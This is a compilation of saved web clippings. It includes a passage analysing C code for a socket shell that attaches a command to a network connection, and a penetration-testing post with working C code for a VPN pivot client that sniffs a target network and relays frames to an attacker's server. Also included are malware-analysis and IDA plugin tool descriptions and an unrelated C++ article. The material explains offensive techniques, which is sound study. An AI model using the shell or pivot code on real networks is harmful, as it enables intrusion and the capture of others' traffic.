                    select(fd + 1, &readfds, NULL, NULL, NULL);
                    if (FD_ISSET(0, &readfds)) {
                            if (read(0, buf, 1) != 1) {
                                    perror("read");
                                    exit(1);
                            }
                            write(fd, buf, 1);
                    }
                    if (FD_ISSET(fd, &readfds)) {
                            if (read(fd, buf, 1) != 1) {
                                    perror("read");
                                    exit(1);
                            }
                            write(1, buf, 1);
                    }
            }
    }
    
    
[/code]

This is a very common select\(2\) based shell that will perform read and write
operations on the socket’s file descriptors. On the other hand, if a command
was specified, then do\_command\(\) will be used instead. Here this code too:

[code]

    void do_command(int fd)
    {
            char buffer[1024];
            int len;
    
            if (command_type == CMD_LOCAL) {
                    dup2(fd, 0);
                    dup2(fd, 1);
                    dup2(fd, 2);
                    execl(command, command, NULL);
                    exit (2);
            }
            write(fd, command, strlen(command));
            write(fd, "\n", 1);
            while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
                    write(1, buffer, len);
            }
            exit (0);
    }
    
    void execute_command(fd)
    {
    }
    
    
[/code]

So, if the provided command is flagged as CMD\_LOCAL, it will duplicate the
socket’s file descriptors using dup2\(2\) system call and then perform a usual
execl\(2\) call with the provided command. Otherwise, it will directly send
the command using write\(2\) and read\(2\) system calls.

* * *
**Possibly related posts: \(automatically generated\)**

  * OpenBSD SMTPd Remote Crash

# CRYPTEX - Seguridad de la Informacion: Tools: PDF Stream Dumper

**Created:**| _4/14/2011 1:37:19 PM_  
---|---  
**Updated:**| _4/14/2011 1:37:19 PM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

### Tools: PDF Stream Dumper

PDF Stream Dumper es una herramienta gratuita que ayuda al análisis y
deteccion de PDF maliciosos.  
  
**Full feature list**  

  * \- Supported filters: FlateDecode, RunLengthDecode, ASCIIHEXDecode, ASCII85Decode, LZWDecode
  * \- Integrated shellcode tools: 
    * . sclog gui \(Shellcode Analysis tool\)
    * . scdbg libemu based Shellcode analysis tool
    *  _. Shellcode\_2\_Exe_ functionality
    * . Export unescaped bytes to file
  * \- Supports filter chaining \(ie multiple filters applied to same stream\)
  * \- Supports unescaping encoded pdf headers
  * \- Scriptable interface to process multiple files and generate reports
  * \- View all pdf objects
  * \- View deflated streams
  * \- View stream details such as file offsets, header, etc
  * \- Save raw and deflated data
  * \- Search streams for strings
  * \- Scan for functions which contain pdf exploits \(dumb scan\)
  * \- Format javascript using js beautifier \(see credits in readme\)
  * \- View streams as hex dumps
  * \- Zlib compress/decompress arbitrary files
  * \- Replace/update pdf streams with your own data
  * \- Basic JavaScript interface so you can run parts of embedded scripts
  *  _\- PdfDecryptor_ w/source – uses iTextSharp and requires .Net Framework 2.0
  * \- Basic JavaScript de-obsfuscator
  * \- Can hide: header only streams, duplicate streams, selected streams
  * \- JS UI also has access to a toolbox class to 
    * . simplify fragmented strings
    * . read/write files
    * . do hexdumps
    * . do unicode safe unescapes
    * . disassembler engine
    * . replicate some common Adobe API \(new\)

PDF Stream Dumper also supports unescaping/formatting manipulated PDF headers,
as well as being able to decode filter chains \(multiple filters applied to
the same stream object.\) via plugins and adds automation features via various
VBS scripts.  

# igogo-x86/HexRaysPyTools

**Created:**| _5/12/2017 1:01:46 PM_  
---|---  
**Updated:**| _5/12/2017 1:01:46 PM_  
**Author:**| __  
**Tags:**| _python Decompiler_  
  

  

###  readme.md

# About

Plugin assists in creation classes/structures and detection virtual tables.
Best to use with Class Informer plugin, because it helps to automatically get
original classes names. Also see slides from ZeroNights 2016.

### Installation

Just copy ` HexRaysPyTools.py ` file and ` HexRaysPyTools ` directory to Ida
plugins directory

# Features

### 1\) Structure Graph

Shows relationship between structures. <img
src='img/structure_builder.JPG.jpg' width='427' height='396' alt='img' />

Also: dark green node is union, light green - enum.

Usage:

  1. Open Local Types
  2. Select interesting structures and right click -> "Show Graph" \(Hotkey G\)
  3. Plugin creates a graph of all structures that have relationship with selected items.
  4. Double clicking on node recalculates graph for it
  5. Every node have a hint message that shows C-like typedef

### 2\) Structures with given size

Usage:

  1. In Pseudocode viewer ight click on number -> "Structures with this size". \(hotkey W\)
  2. Select library in which find structures
  3. Select structure. Number will become ` sizeof(Structure Name) ` and type will be imported to Local Types

### 3\) Recognition of structures by shapes

Helps to find suitable structure by information gleaned from pseudocode after
variable scanning.

Usage:

  * _Method 1_
    1. Right click on variable with LEGAL\_TYPE \(See structure builder\) -> Select "Recognize Shape".
    2. Select structure.
    3. Type of variable will be changed automatically.
  * _Method 2_
    1. Clear Structure Builder if it's currently used.
    2. Right click on variables supposed to be the same -> "Scan Variable".
    3. Edit types \(will be implemented later\), disable or remove uninteresting fields and click button "Recognize Shape".
    4. You can selected several fields and try to recognize shape for them. If found and selected, they will be replaced by new structure.
    5. After final structure selection, types of all scanned variables will be changed automatically.

### 4\) Containing structures

Helps to find containing structure and makes code look pretty by replacing
pointers with CONTAINING\_RECORD macro

**Before:**

<img src='img/bad.JPG.jpg' width='889' height='755' alt='img' />

**After:**

<img src='img/good.JPG.jpg' width='889' height='790' alt='img' />

Usage:

If variable is a structure pointer and is used to address outside of its
boundaries than:

  1. Right click -> Select Containing Structure
  2. Select Type Library
  3. Select appropriate Structure and Offset
  4. If result is disappointing then Right Click -> Reset Containing Structure and go to step 1

### 5\) Structure Builder \(Alt + F8\)

The place where all collected information about scanned variables can be
viewed and modified

Two ways to collect information:

  * Right Click on variable -> Scan Variable. Recognizes fields usage in current function
  * Right Click on variable -> Deep Scan Variable. First recursively touches functions to make Ida recognize proper arguments \(this happens only once for each function during session\). Than recursively applies scanner to variables and functions that get our structure pointer as argument.

<img src='img/builder.JPG.jpg' width='733' height='610' alt='img' />

  * Types with **BOLD** font are virtual tables. Double click opens list with all virtual functions that helps to visit them. Visited functions are marked with cross and color.

<img src='img/virtual_functions.JPG.jpg' width='788' height='250' alt='img' />

  * Types with _ITALIC_ font have been found as ` void * ` arguments and are not used in shape recognition.
  * Double click on Field's names to edit
  * Double click on offset opens window with every places where this type has been extracted. Click "Ok" button to open selected place in pseudocode window.

<img src='img/fields_xref.JPG.jpg' width='743' height='259' alt='img' />

**Finalize** \- opens window with editable C-like declaration and assigns new
type to all scanned variables.

**Disable** , **Enable** \- are used for collision resolution.

**Origin** \- switches base from which offset to produce new fields to
structure \(this value will be added to every offset of new scanned
variable\).

**Array** \- makes selected field as array, the size of which is calculated
automatically.

**Pack** \- creates and substitutes substructure for selected items
\(collisions for this items should be resolved\).

**Remove** \- removes information about selected fields.

**Clear** \- clears everything.

**Scanned Variables** \- do nothing.

**Recognize Shape** \- looks for appropriate structure for selected fields.

### Currently recognized access to fields

LEGAL\_TYPES = \{ DWORD, QWORD, DWORD \*, QWORD \*, void \* \} - if variable's
type is one of this types or is derivate from them, then it can be scanned by
Right-Click-> Scan Variable.

Abbreviations:

  * var - variable
  * obj - any object, including Virtual Table, that will be handled specially
  * x - offset
  * TYPE - simple \(char, byte, float, ...\) or complicated type not from LEGAL\_TYPES
  * XWORD - DWORD or QWORD
  * PXWORD - DWORD \* or QWORD \*
  * PVOID - void \*, PVOID

Variable type | Situation | Type | Offset  
---|---|---|---  
` XWORD ` | ` *(XWORD *) (var + x) = obj ` | ` typeof(obj) * ` | ` x `  
` XWORD ` | ` *(XWORD *) (var + x) = &obj ` | ` typeof(obj) * ` | ` x `  
` XWORD ` | ` *(TYPE *) (var + x) ` | ` TYPE ` | ` x `  
` XWORD ` | ` function(... , (LEGAL_TYPE) (var + x), ...) ` | _BYTE\[\]_ and recursion started for this function and argument index | ` x `  
` XWORD ` | ` function(... , (TYPE) (var + x), ...) ` | argument's type | ` x `  
` XWORD ` | ` function(... , var + x, ...) ` | argument's type | ` x `  
` XWORD * `, ` PVOID ` | ` *var = obj ` | ` typeof(obj) * ` | ` 0 `  
` XWORD * `, ` PVOID ` | ` *var = &obj ` | ` typeof(obj) * ` | ` 0 `  
` XWORD * `, ` PVOID ` | ` *var = ??? ` | ` XWORD ` | ` 0 `  
` XWORD * ` | ` var[idx] = obj ` | ` typeof(obj) * ` | ` idx * sizeof(XWORD) `  
` XWORD * ` | ` var[idx] = &obj ` | ` typeof(obj) * ` | ` idx * sizeof(XWORD) `  
` XWORD * ` | ` var[idx] = ??? ` | ` XWORD ` | ` idx * sizeof(XWORD) `  
` XWORD * `, ` PVOID ` | ` *((TYPE *) var + x) ` | ` TYPE ` | ` x * sizeof(TYPE) `  
` XWORD * `, ` PVOID ` | ` function(... , (LEGAL_TYPE) (var + x), ...) ` | _BYTE\[\]_ and recursion started for this function and argument index | ` x * sizeof(XWORD) `  
` XWORD * `, ` PVOID ` | ` function(... , (TYPE) (var + x), ...) ` | argument's type | ` x * sizeof(XWORD) `  
` PVOID ` | ` function(... , (TYPE *)var + x, ...) ` | argument's type | ` x * sizeof(TYPE) `  
` PVOID ` | ` function(... , (TYPE)var + x, ...) ` | argument's type | ` x `  
` PVOID ` | ` (TYPE *) ((char *)var + x) ` | TYPE | ` x `  
### 6\) Classes \(Alt + F1\)

Also can be found at _View- >Open Subview->Classes_. Helps to manage classes
\(structures with virtual tables\).

<img src='img/classes.JPG.jpg' width='607' height='581' alt='img' />

##### \!\! Better to rename all functions before debugging because Ida can
mess up with default names and information in virtual tables will be
inconsistent

Class, virtual table and functions names are editable. Also function's
declaration can be edited. After edit, altered items change font to _italic_.
Right click opens following menu options:

  * Expand All / Collapse All
  * Refresh - clear all and rescan local types for information again
  * Rollback - undo changes
  * Commit - apply changes. Functions will be renamed and recasted both in virtual tables in Local Types and disassembly code.
  * Set First Argument type - allows selecting first argument for function among all classes. If right click was used on class name, than its type will be automatically applied to virtual table at offset 0

You can also filter classes using Regexp either by class\_name or by existence
of specific functions. Just input expression in line edit for filtering by
class\_name or prepend it with "\!" to filter by function name.

### 7\) Function signature manipulation

  1. Right click on first line -> "Remove Return" converts return type to void
  2. Right click on argument -> "Remove Argument" disposes of this argument
  3. Right click on convention -> "Convert to \_\_usercall" switches to \_\_usercall or \_\_userpurge \(same as \_\_usercall but the callee cleans the stack\)

### 8\) Recasting \(Shift+R, Shift+L\), Renaming \(Shift+N, Ctrl+Shift+N\)

Expressions from the table can be quickly modified. Select cast item or
variable and press hotkey or select from Right-Click Menu Recast Variable,
Return or Argument. It can be applied to both local and global variables.

Original | Shift+L | Shift+R  
---|---|---  
var = \(TYPE\) expr | var type -> TYPE |   
exp = \(TYPE\) var |  | var type -> TYPE  
function\(..., \(TYPE\) var, ...\) | functions' argument -> TYPE | var type -> TYPE  
\(TYPE\) function\(...\) |  | functions' return type -> TYPE  
return \(TYPE\) var | functions' return type -> TYPE | var type -> TYPE  
struct.field = \(TYPE\) var | type\(field\) -> TYPE |   
pstruct->field = \(TYPE\) var | type\(field\) -> TYPE |   
When you have an expression like ` function(..., some_good_name, ...) `, you
can rename function argument.

When you have an expression like ` function(..., v12, ...) ` and function has
a nice name of the argument. You can quickly apply this name to the variable.

### 9\) Untangling 'if' statements

Automatically applies following transformations:

Before:

[code]

    ...
    if (condition) {
        statement_1;
        statement_2;
        ...
        return another_value;
    }
    return value;
[/code]

After:

[code]

    ...
    if (opposite_condition) {
        return value;
    }
    statement_1;
    statement_2;
    ...
    return another_value;            // if 'then' branch have no return, than `return value;`
[/code]

  

# How VPN Pivoting Works \(with Source Code\) | Strategic Cyber LLC
**Created:**| _10/14/2014 2:03:04 PM_  
---|---  
**Updated:**| _10/14/2014 2:03:04 PM_  
**Author:**| __  
**Tags:**| _vpn pivoting_  
  

# How VPN Pivoting Works \(with Source Code\)

October 14, 2014

A VPN pivot is a virtual network interface that gives you layer-2 access to
your target’s network. Rapid7’s Metasploit Pro was the first pen testing
product with this feature. Core Impact has this capability too.

In September 2012, I built a VPN pivoting feature into Cobalt Strike. I
revised my implementation of this feature in September 2014. In this post,
I’ll take you through how VPN pivoting works and even provide code for a
simple VPN pivoting client and server you can play with.

### The VPN Server

Let’s start with a few terms: The attacker runs VPN server software. The
target runs a VPN client. The connection between the client and the server is
the channel to relay layer-2 frames. In this example client and server, we’ll
use a TCP data channel.

To the attacker, the target’s network is available through a virtual network
interface. This interface works like a physical network interface. When one of
your program tries to interact with the target network, the operating system
will make the frames it would drop onto the wire available to the VPN server
software. The VPN server consumes these frames, relays them over the data
channel to the VPN client. The VPN client receives these frames and dumps them
onto the target’s network.

Here’s what the process looks like:

<img src='img/Temp2_4055.png' alt='vpnserver' />

The TAP driver makes this possible. According to its documentation, the
TUN/TAP provides packet reception and transmission for user space programs.
The TAP driver allows us to create a \(virtual\) network interface that we may
interact with from our VPN server software.

Here’s the code to create a TAP \[adapted from the TUN/TAP documentation\]:

|  `#include <linux/if.h>` `#include <linux/if_tun.h>` `int` `tun_alloc(` `char` `*dev) {` `struct` `ifreq ifr;` `int` `fd, err;` `if` `( (fd = open(` `"/dev/net/tun"` `, O_RDWR)) < 0 )` `return` `tun_alloc_old(dev);` `memset` `(&ifr, 0, ` `sizeof` `(ifr));` `ifr.ifr_flags = IFF_TAP | IFF_NO_PI; ` `if` `( *dev )` `strncpy` `(ifr.ifr_name, dev, IFNAMSIZ);` `if` `( (err = ioctl(fd, TUNSETIFF, (` `void` `*) &ifr)) < 0 ) {` `close(fd);` `return` `err;` `}` `strcpy` `(dev, ifr.ifr_name);` `return` `fd;` `}`  
---|---  
This function allocates a new TAP. The dev parameter is the name of our
interface. This is the name we will use with ifconfig and other programs to
configure it. The number it returns is a file descriptor to read from or write
to the TAP.

To read a frame from a TAP:

|  `int` `totalread = read(tap_fd, buffer, maxlength);`  
---|---  
To write a frame to a TAP:

|  `write(tap_fd, buffer, length);`  
---|---  
We now know everything needed to create a simple VPN server. For the rest of
this post, we’ll take advantage of simpletun.c by Davide Brini.

simpletun.c is an example of using a network TAP. It’s ~300 lines of code that
demonstrates how to send and receive frames over a TCP connection. This
GPL\(\!\) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I
recommend that you read it.

When simpletun.c sends a frame, it prefixes the frame with an unsigned short
in big endian order. This 2-byte number, N, is the length of the frame in
bytes. The next N bytes are the frame itself. simpletun.c expects to receive
frames the same way.

To build simpletun:

|  `gcc simpletun.c -o simpletun`  
---|---  
_**Note:** simpletun.c allocates a small buffer to hold frame data. Change
BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this,
simpletun.c will eventually crash. You don’t want that._

To start simpletun as a server:

|  `./simpletun -i [interface] -s -p [port] -a`  
---|---  
### The VPN Client

Now that we have a VPN server, we need a VPN client. We could use simpletun.c
as our VPN client, but we’re interested in a Windows VPN client. Our Windows
VPN client will sniff traffic on our target’s network. When it sees frames, it
will relay these frames to the VPN server, which will write them to our TAP
interface. This will cause the attacker’s operating system to process the
frame as if it was read off of the wire.

<img src='img/Temp2_4054.png' alt='vpnclient' />

To build a VPN client, I opted to use the Windows Packet Capture API, WinPcap.
CACE Inc. RiverBed Technology maintains this Windows implementation of
LibPCAP.

First, we need to open up the target network device that we will VPN pivot
into. We also need to put this device into promiscuous mode. Here’s the code
to do that:

|  `pcap_t * raw_start(` `char` `* localip, ` `char` `* filterip) {` `pcap_t * adhandle = NULL;` `pcap_if_t * d = NULL;` `pcap_if_t * alldevs = NULL;` `char` `errbuf[PCAP_ERRBUF_SIZE];` `/* find out interface */` `d = find_interface(&alldevs, localip);` `/* Open the device */` `adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf);` `if` `(adhandle == NULL) {` `printf` `(` `"\nUnable to open the adapter. %s is not supported by WinPcap\n"` `, d->name);` `return` `NULL;` `}` `/* filter out the specified host */` `raw_filter_internal(adhandle, d, filterip, NULL);` `/* ok, now we can free out list of interfaces */` `pcap_freealldevs(alldevs);` `return` `adhandle;` `}`  
---|---  
Next, we need to connect to the VPN server and start a loop that reads frames
and sends them to our VPN server. I do this in raw.c. Here’s the code to ask
WinPcap to call a function when a frame is read:

|  `void` `raw_loop(pcap_t * adhandle, ` `void` `(*packet_handler)(u_char *, `
`const` `struct` `pcap_pkthdr *, ` `const` `u_char *)) {` `pcap_loop(adhandle,
0, packet_handler, NULL);` `}`  
---|---  
The packet\_handler function is my callback to respond to each frame read by
WinPCAP. It writes frames to our VPN server. I define this function in vpn.c.

|  `void` `packet_handler(u_char * param, ` `const` `struct` `pcap_pkthdr *
header, ` `const` `u_char * pkt_data) {` `/* send the raw frame to our server
*/` `client_send_frame(server, (` `void` `*)pkt_data, header->len);` `}`  
---|---  
I define client\_send\_frame in client.c. This function writes the frame’s
length and data to our VPN server connection. If you want to implement a new
channel or add encryption to this VPN client, client.c is the place to explore
this.

We now know how to read frames and send them to the VPN server.

Next, we need logic to read frames from the VPN server and inject these onto
the target network. In vpn.c, I create a thread that calls client\_recv\_frame
in a loop. The client\_recv\_frame function reads a frame from our connection
to the VPN server. The pcap\_sendpacket function injects a frame onto the
wire.

|  `DWORD` `ThreadProc(` `LPVOID` `param) {` `char` `* buffer = ` `malloc` `(`
`sizeof` `(` `char` `) * 65536);` `int` `len, result;` `unsigned ` `short`
`action;` `while` `(TRUE) {` `len = client_recv_frame(server, buffer, 65536);`
`/* inject the frame we received onto the wire directly */` `result =
pcap_sendpacket(sniffer, (u_char *)buffer, len);` `if` `(result == -1) {`
`printf` `(` `"Send packet failed: %d\n"` `, len);` `}` `}` `}`  
---|---  
This logic is the guts of our VPN client. The project is ~315 lines of code
and this includes headers. Half of this code is in client.c which is an
abstraction of the Windows Socket API. I hope you find it navigable.

To run the VPN client:

|  `client.exe [server ip] [server port] [local ip]`  
---|---  
Once the VPN client connects to the VPN server, use a DHCP client to request
an IP address on your VPN server’s network interface \[or configure an IP
address with ifconfig\].

### Build Instructions

I’ve made the source code for this simple VPN client available under a BSD
license. You will need to download the Windows PCAP Developer Pack and extract
it to the vpnclient folder. You can build the vpn client on Kali Linux with
the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in the
vpnclient folder.

### Deployment

To try this VPN client, you will need to install WinPcap on your target
system. You can download WinPcap from RiverBed Technology. And, that’s it. I
hope you’ve enjoyed this deep dive into VPN pivoting and how it works.

### Covert VPN

The Covert VPN feature in Cobalt Strike is a different VPN pivoting
implementation from what’s in this post. I compile Covert VPN’s client as a
Reflective DLL. This allows me to inject it into memory. The Covert VPN client
and server encrypt the VPN traffic. Covert VPN will also silently drop a
minimal WinPcap install and clean it up for you. And, Covert VPN supports
multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through
Meterpreter.

# Open Multi-Methods for C++11, Part 1 - CodeProject

**Created:**| _8/14/2013 1:43:55 PM_  
---|---  
**Updated:**| _8/14/2013 1:43:55 PM_  
**Author:**| __  
**Tags:**| _C++11_  
  

# **O** pen Multi-Methods for C++11, Part 1****

By Jean-Louis Leroy , 11 Aug 2013

## Introduction****

This article is the first in a series about open multi-methods for C++11**.**
In this installment, I will explain what they are, how they fit in the object-
oriented paradigm, and make controversial statements**.**

Subsequent articles will present a new library that implements open multi-
methods, using the facilities provided by C++11 \(in particular, variadic
templates\)**.** The library's salient features are: fast, constant time
dispatch using compact tables; arbitrary number of virtual and non virtual
arguments; access to the next most specific specialization; and support for
shared libraries and dynamic loading**.** The series will conclude with an in-
depth presentation of the internals of the library**.**

If you are impatient, you can grab the code from GitHub  and read the
documentation **.**

## Polymorphism and Poly-polymorphism****

Object-oriented programming \(OOP\) rests on three pillars: encapsulation,
inheritance and polymorphism**.** The latter is what makes the difference
between object-_based_ programming and object-_oriented_ programming**.**

I used to teach C++ classes when OOP was still a new thing**.** I explained
polymorphism in this way: if you kick a dog, it barks; if you kick a cat, it
meows**.** Each animal reacts according to its nature. Indeed, when you think
about it, that's all there is to that big Greek sounding word: do the right
thing**.**

From now on, I will use a language neutral notation to represent situations
like the dog and cat example:

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

      kick(dog) -> bow wow wow
      kick(cat) -> meow
    
[/code]

At this point, C++ programmers are possibly raising eyebrows; Java programmers
may be snorting**.** You probably expected something like `dog.kick()`, didn't
you**?** I will go back to this later \(Lisp programmers see nothing strange
happening here\)**.**

This sort of behavior is readily implemented in C++, Java or Smalltalk: we
call a virtual function or a method on an object, or send a message to an
object**.** What's in a name? It works nice and well: it selects the "right"
behavior given the same "stimulus"**.**

There are times, however, when "the right thing" to do depends on more than
one object**.** To carry on with the zoological metaphor, consider the
encounter of two animals:

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

      encounter(animal, animal) -> ignore
      encounter(cow, wolf)      -> run
      encounter(wolf, cow)      -> hunt
      encounter(wolf, wolf)     -> wag tail
[/code]

If you find this example silly, here is a more serious one**.** Imagine that
you are building a matrix library. Matrices fall into different categories:
ordinary, square, symmetrical, diagonal, sparse..**.** You will probably use
different representations for each matrix subtype**.** Certainly, you want to
use specialized algorithms for addition too**.** And which algorithm is the
"right" one depends on the subtypes of _both_ operands:

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

      add(matrix, matrix)       -> add all elements one by one
      add(diagonal, diagonal)   -> just add the two diagonals
      add(matrix, diagonal)     -> no need to add all the zeroes
[/code]

Now if you are programming in C++, the big question is: are the matrix
subtypes known at compile time**?** If they are, you can use the wonderfully
expressive C++ template mechanism**.** You define a template for the general
case \(addition of two plain matrices\) and then create specializations to
handle the more specific cases**.** Something in the spirit of:

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

      template<class Matrix1, class Matrix2>
      matrix operator +(const Matrix1& m1, const Matrix2& m2) {
        // add elements one by one; return an ordinary matrix
      }
      
      template<>
      diagonal_matrix operator +(const diagonal_matrix& m1, const diagonal_matrix& m2) {
        // just add the two diagonals; return a diagonal matrix
      }
      
      template<class Matrix1>
      matrix operator +(const Matrix1& m1, const diagonal_matrix& m2) {
        // just add m2's diagonal; return an ordinary matrix
      }
    
      // etc
[/code]

This pseudo-code is naive, but it is meant to illustrate the principle**.**
Anyway, if you know the matrices' subtypes at compile time, you really should
make use of the information**.** The result will be a matrix library that will
give you speed that languages like Java, C\# and others just can't
deliver**.**

Note that what is happening here _is_ polymorphism, even if no virtual
function calls are involved: the "right thing" is done depending on the
arguments' types**.** It happens at compile time, hence C++ template
specialization is often described as "static polymorphism"**.** C++ has
another form of static polymorphism: overloaded functions, which obey pretty
much the same rules as template specialization**.** Thus the idea of selecting
a behavior depending on multiple arguments should already be familiar to C++
programmers**.**

What if the subtypes are not known at compile time**?** Say, you are
implementing the next Matlab. You don't know in advance what the two operands
will be, exactly**.** In this case, you can select the right behavior on the
basis of one argument only**.** The only tool left in your C++ toolbox is the
virtual function**.** Aaah, when you only have a hammer...

What is missing from C++, but not from languages like Lisp and its many
derivatives \(Dylan and Clojure being the two popular lispoids these days\),
is the capacity to perform the multi-polymorphism trick at run time**.**

In situations like those described above, the C++ programmer is not without
resources**.** The most popular hacks are multiple dispatch and type
switches**.** Either way, the solution will not look much like the approach
based on templates, and by far it will not "feel" as natural**.** There are
also more audacious ways that involve extensions to the language, like Cmm -
C++ with multi-methods**.** Finally, it is not Bjarne Stroustrup's fault if
C++ is still lacking native support for multi-methods, as he has been arguing
for their inclusion in the language for years**.** In 2005, he co-authored a
paper  that outlines an implementation of C++ multi-methods**.**

If, however, you don't want to wait until Stroustrup convinces his fellow
committee members, nor use some experimental compiler, nor go to through the
hoops of multiple dispatch, nor the ugliness of type switches, here is the
good news: it is possible to implement a solution, within C++11, that imposes
a fairly light syntax burden and delivers performance, both in terms of speed
and memory**.** It will be presented in following articles. I am not done with
generalities just yet**.**

## Are You Receiving Me?

Object-oriented programming is a fifty year old idea, even though most people
don't realize it, but it was only at the end of the eighties that it was
brought into mainstream**.** People of my generation \(I am myself kicking
50\) certainly remember the issue of _Byte_ dedicated to OOP**.** The language
through which the new paradigm was championed to the masses was Smalltalk**.**
It is pretty much alive today. Smalltalk's model of object-oriented
programming is that of objects sending and receiving messages, each object
responding to a message according to its nature, sometimes returning values,
sometimes altering its state**.** Smalltalk takes the metaphor of message
passing to the extreme, and with great elegance in my opinion**.** Even
control structures are implemented via messages**.** For example, the
`if`-`then`-`else `construct looks like this \(Smalltalk aficionados, please
be kind, my Smalltalk is a bit rusty\):

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

      (a < b)
           ifTrue:  [ "do something" ]
           ifFalse: [ "then do something else"]
[/code]

If you are curious enough to look at the implementation \(easy if you are
lucky and you own a copy of the original book _Smalltalk 80: the language and
its implementation_\), you are in for a surprise**.** It is essentially this:

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

      "in class True, a subclass of Boolean"
      ifTrue: trueBlock ifFalse: falseBlock
        ^trueBlock value
      
      "in class False, the other subclass of Boolean"
      ifTrue: trueBlock ifFalse: falseBlock
        ^falseBlock value
[/code]

What is happening here**?**

The square brackets create instances of class `Block`, which contain code**.**
`Block`s respond to message `#value` by executing the code and returning the
value of the last expression**.** Operator `<` \(implemented itself as a
message, what else**?**\) returns either `true`, the single instance of class
`True`, or `false`**.** `true` sends `#eval` to the first block, `false` to
the second**.** And if things don't happen _exactly_ like that \(the chit chat
between booleans and blocks may be optimized away\), that is what goes on,
conceptually**.**

Ain't it brilliant? Nonetheless, I believe that message passing is the wrong
metaphor, as I am going to argue in the next section**.**

## Kick the Dog or Dog the Kick?

I will now go back, as promised, to my choice of writing `kick(dog)` instead
of `dog.kick()`**.** The second option can be defended, to a point. It _is_ in
a dog's nature to bark, not meow, when kicked**.** That it is in its nature to
be kicked, on the other hand, is questionable**.** What I mean here is that
the "kicking" business may belong somewhere else than the Animal class and is
subclasses**.** Alas, if we want any form of polymorphism on animals, C++
offers us little choice: it has to go in virtual functions,  _if_ we can
modify the classes that is**.** And in that case, we have to recompile all the
code that depends on them**.** The Animal class may soon suffer from the obese
base class syndrome, doing too much and at the same time, always missing some
bit of functionality**.**

There is another approach to polymorphism though**.**

During the eighties, the Lisp community was researching the topic of OOP
too**.** Ultimately, their efforts resulted in the Common Lisp Object System
\(CLOS\)**.** Some of the early attempts used an approach similar to
Smalltalk's, but soon another model prevailed, which is not message oriented
but rule oriented**.**

CLOS has classes and objects. Objects have state. However, classes don't
"have" methods, in the sense of a piece of code living inside a class
definition**.** Instead, CLOS has the notion of _generic functions_**.** They
have little to do with Java's generics - they are multi-methods as described
above**.** Since they don't "belong" to any object, they are, more precisely,
_open_ multi-methods**.**

And, in case you wonder, it is perfectly legitimate, indeed frequent, for a
CLOS generic function to select the right specialization depending on a single
argument**.** This makes the term "multi-method" a bit if a misnomer when
applied to CLOS generics**.**

In my opinion, Lisp got it right and Smalltalk got it wrong**.**

And all the languages that followed the Smalltalk path got it wrong too -
especially Java, which bans any form of code or data that does not belong to a
class and invents classes that are not the blueprint of any object - you
cannot say `new Math()`**.**

I will be kinder to C++**.** Although it has its strongest root in Simula,
another message-oriented design, C++ acknowledges that there are things that
just don't naturally belong in any class in particular**.** In C++, we have
free functions and data and types, and namespaces to organize them in large
programs. And this is _good_**.**

Let us examine one more example that makes the dog kicking example more
relevant to software engineering**.** When building multi-tiered applications,
stitching the tiers together is tricky**.** Consider a business tier and, just
above it, a presentation tier - e.g. a GUI**.** The GUI will need to create
windows, or frames, or dialogs, for the various underlying business objects:

<img src='img/Temp2_5822.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    make_dialog(natural_person) -> return new natural_person_dialog(natural_person)
    make_dialog(legal_person)   -> return new legal_person_dialog(legal_person_dialog)..**.**
[/code]

How does one go about implementing this**?** One solution is to stick a
virtual function in some base class or interface, maybe introduced just for
that purpose**.** This is not right of course\! It is not in the nature of a
person to fabricate and return _a dialog box_**.** Yet I have done it, in
several projects, while pinching my nose, because it was the simplest solution
and my profession is about solving problems, keeping esthetical concerns as a
secondary factor**.**

Other solutions do exist. Or Patterns of solutions - have you noticed that
many patterns are mostly about working around language limitations**?** For
example, the Abstract Factory pattern can be used here \(oops - it doesn't
handle inheritance well\)**.**

## Insider Trading****

There is something else**.** Something deeper. Remember, I said at the
beginning of the article that OOP rests on three pillars: encapsulation,
inheritance and polymorphism**.** You certainly agree with this. Also note
that a member function need not be virtual**.** Typically, you are a member
function if you have really good reasons to manipulate the content of the
capsule**.**

Now, let me ask you this question: how do you make a virtual function that
does _not_ have access to an object's private parts**?**

In C++, Java, C\# and others, you cannot**.** We have a weird situation here:
we can get polymorphism if we want it, but at the cost of breaking
encapsulation, maybe unnecessarily**.** Two of the three pillars are merged
like Siamese twins**.**

## Conclusion****

C++ needs _open_ and _multi_ methods**.** They are very coherent with the rest
of the language**.** They will make it more complete and orthogonal. The
creator of the language wants them**.** They can be implemented in accordance
to the design guidelines of C++: be fast and impose no cost if the feature is
not used**.**

I hope that I have not angered too many people with this article**.** I have
programmed in Smalltalk and in C\# and enjoyed it**.** They are fine languages
with some brilliant ideas**.** My aim is to trigger reflection about ideas
that, in my opinion, are too often left unchallenged**.**

I also hope I have not bored you with my philosophical ravings too much**.**
Next time it will be 100% code, I promise.

No animals were hurt while writing this article**.**

****

# notfunnyagain.jpg 858 × 1743 Pixel

**Created:**| _10/25/2010 9:53:13 PM_  
---|---  
**Updated:**| _10/26/2010 7:30:31 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
<img src='img/Temp2_10495.jpg' />

# Callida IDA Pro Graph plugin | Norman Blog
**Created:**| _8/16/2012 9:26:08 AM_  
---|---  
**Updated:**| _8/16/2012 9:26:08 AM_  
**Author:**| __  
**Tags:**| _iDA Graphs_  
  

# Callida IDA Pro Graph plugin

August 14, 2012 by Snorre Fagerland \- No Comments

I recently got asked on twitter about whether I had plans to release the
plugin that produced the graphs seen in the “Zbot Illustrated” blog post.

This is a side project I have been working on for creating call graphs for
